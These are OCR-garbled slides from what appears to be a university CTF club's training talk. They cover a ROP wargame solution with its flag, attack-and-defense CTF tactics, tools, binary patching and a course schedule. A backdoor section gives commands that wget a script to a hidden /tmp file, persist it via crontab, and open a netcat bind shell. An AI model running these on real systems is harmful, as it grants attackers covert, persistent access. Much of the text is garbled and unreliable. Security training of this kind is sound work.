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Description

secprog.cs.nctu.edu.tw 10003
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telnet secprog.cs.nctu.edu.tw 10003 ( & ®J7E nc =T LN EIHE )
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pop ebx
pop ebp
XOY eax,eax

sub ecx,eax
pop ebp

mov edx,eax
pop ebx

pop ecx
pop eax

mov (esp),edx

pop edx
pop ecx
pop edx

add ecx,eax
pop ebx

add eax, 0x2

push esp
push ebp

10.

push 0x68732f6e
push 0x69622f2f

11.

push 0x67616c66
push 0x2f2f706f
push 0x722f2£65
push Oxéde6fe82f

12.

push 1
push 2

13.

push eax

You can arrange what you like with the instructions.(e.g. 1,3,1,5,2)
Ref: http://docs.cs.up.ac.za/programming/asm/derick tut/syscalls.html
Please assemble your assembly to get /home/rop/flag?.
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204 instructions

AE Y = 1[E system call
open -> read -> write

open “/home/rop/flag”

open return file fd

read file fd to buffer
write buffer to STDOUT



NOIX
& /)Y payload

1,13,13,11,9,7,7,12,4,2,2,8,8,0,12,13,1,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,
38,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,3,13,9,6,
9,13,4,4,8,12,12,12,12,12,0,9,12,3,1,8,8,0

SECPROG({return_oriented programming_is_easy!}

1Y wargame
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;ﬁ\ LN 0N . e‘../\ .
g A —E 85 H objdump FfH
408 08048540 <fopenfplt>:
409 8048540: ff 25 38 00 Oa 08 Jjmp *0x80a0038
410 8048546: 68 58 00 00 00 push S0x58
411 804854b: e9 30 £ff ff ff Jjmp 8048480 < init+0xZc>
412
413 08048550 <asprintf@plt>:
414 8048550: ff 25 3c 00 Oa 08 Jmp *0x80a003c
415 8048556: 68 60 00 00 00 push 50x60
416 804855b: e9 20 £f ff ff Jjmp 8048480 < init+0xZc>
423 809e3e8: e8 43 fc ff ff
424 809e3ed: 8l c3 13 1c 00 0O
425 809e3f3: 83 c4 08
- thunk.bx>
42606 809e3fo0: ob B
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* Hex-Rays decompiler plugin
[ ] Fronctins wing O & x | [[5 DA View-4 E L[ | (O] Hex View-1 (&) o3 E]  Enums %= Imports

int __cdecl main{int argc, const char =xargu, const char =xenup)

{
_BYTE v4[3]; //

Function name 2
_init_proc
_read
_printf
fflush
_time
_puts
_system
__gmon_start__
_srand
_strlen
__libc_start_main

puts{"Welcome to Magic systemt™);

printf("Give me your name{a-z): *'};

fflush{stdout};

for f = 8; <= 18 && read(@, &UA4[1], 1u) && [1] > 96 && [1] <= 122 ++1 )
H
[1] = 8;

printf{"Your name is %s.\n", ¥;

printf{"Give me something that you want to MAGIC: *);

fflush{stdout};

magic(};

return 8;

do_magic

Line 1 of 49 00000414 main:l
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Attack And Defense

Open Con!
System Log

L * o eertiin oy | S S NS W AR MRS S A s b E

[15:30:24] TEAM 6 pwned Wdup on HITCO!
[15:30:25] TEAM 8 pwned Wdup on HITCON2014
[15:30:25] TEAM 1 pwned Justify on TEAM 10
[15:30:25] TEAM 10 pwned Wdup on TEAM 3
[15:30:25] TEAM 2 pwned Justify on TEAM 10
[15:30:25] TEAM 13 pwned Justify on HITCON

- [15:30:25] TEAM 8 pwned Imap on TEAM 8

[15:30:25] TEAM 9 pwned Imap on TEAM 4
[15:30:25] &% pwned Wdup on TEAM 5
[15:30:25] Windows98 pwned Eliza on HITCON
[15:30:25] TEAM 10 pwned Imap on TEAM 7
[15:30:25] TEAM 2 pwned Justify on Windows98
[15:30:25] TEAM 13 pwned Wdup on TEAM 9
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Attack And Defense
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Attack And Defense

s Y R BT E—S server (gamebox ) _FAYE#E service
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Attack And Defense
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PR AEFTCTF

FH 46 B Sl H WT5E 2518 Vulnerabilities

HH AP R EIE

{5 ] gdb % break pointEEHZL X[ registors {E.

1215 strace 1 ltrace EiBHE25{E system call A1 library call

RNETE code & write-up
HIEEF—X

AEEISRE C exploit HYEES
Bypass !!!




GDB: The GNU Project Debugger

* Command-line based debugger

* ] xinetd 2857 —{E— = — R AVERIEFIAE port -
IR L ps A% pid

 FAREL gdb attach process

* FH%A debug!!!

o #HZ< stack frame

» B memory FEH exploit &2 F[HYR R
* set Seip = 0x0804860d

* Succeed -> FHtEE exploit




CTF Tools

* IDA PRO:

SR K HY S s T

* GDB:

Command-line based debugger
* pwntools :

python package
EHFTHAKEEE exploit

* checksec.sh :

AKrm A binary 51T RE
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AT RIRAY payload 3 A LAE A
replay jl[[%HY payload 72 2l AH[EHIACR
JE =% 40 a3 1R /Y binary patch
Ex : /home/starbound/flag & EE&ET B $3F patch % null byte \x00
% Library #1&F#Y function ( ex: system ) patch Ji¢ NOP \x90 5%
2t input length 8/]N\EF buffer A

—Hr =N




HHoR%-CTCTF

(58 B EAREY shell T+

ps -aux | grep starbound

kill Spid

RIER AR

find / -user starbound

& crontab HI2 5 H A NE AP

crontab -l




Backdoor

« HENY : FHEMERYEUS: shell BYFEH#E

« 11 flag &[]z

* 57 crontab EE{TTEZR

« TH write HE[REVIN T - 2iEE = L HUETE— B

backdoor.sh ( X)
vimrc .swp .X11-config(O)

wget
; crontab /tmp/.vimrc

nc -e /bin/sh -l -p 8888 JHIEZI 52T HH sh EhfT



http://people.cs.nctu.edu.tw/~wpchen/backdoor.sh -O /tmp/.vimrc

Binary Patch

 Why binary patch?

* Tools
* hexeditor
* bvi
e vim+xxd
* Vulnerabilities
Input length limit
Buffer size
Initialized value
Vulnerabilities
Strings ( file path : /home/flag/eliza)
Unused and dangerous function ( system(), exev() )



Demo Time

1% local {5 xinetd £ 5566 port Z55% [E/ YIRS
nc localhost 5566

122 binary :

strings , objdump

{&5 F IDA PRO decompiler program

EEET exploit

backdoor

binary patch

demo video :



https://www.youtube.com/watch?v=XPlxIYUm_3M
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Facebook:

Slack channel :

FEHHJE CTF 5iEs, #7ZZF1/F DEFCON CTF $]#E Final
HRAEACRIEAERIIL AT E - s Le oy
Facebook :
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https://bamboofox.torchpad.com/
https://www.facebook.com/groups/1513695338847931/
https://bamboofox.herokuapp.com/
https://www.facebook.com/NCTUCSC
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7/5(Sun) [13:30 | : B, zywu
14:30 X886, Linux,SA Mango, Banana
15:30 Compile, link and execution {ti¥/angelboy

7/6(Mon) |13:30 [ | Static analysis [

14:30 Dynamic analysis, gdb ddaa |- —Q WA
1530 41%333: ﬁ‘f&\%l%lﬁljj .

7/19(Sun) [13:30 Malware Technigque "

Z[FRIENE

14:30
15:30
13:30
14:30

4= | Buffer overflow

Format string vuln
Shellcode
DEP, ASLR

Mango, Banana
Mango, Banana
Bruce & chchao
Bruce & chchao

{511 R R

15:30 ROP Lays
8/23(Sun) [13:30 Heap angelboy

14:30  |&HEEE | Crypto & Math & Tools zywu & Benson Chen

1530 |4 = | Architecure of web app
8/24(Mon) | 13:30 SQLi, XSS,CSRF, Directory Traversal



https://bamboofox.torchpad.com/Class/training
http://ctf.cs.nctu.edu.tw/
http://train.cs.nctu.edu.tw/
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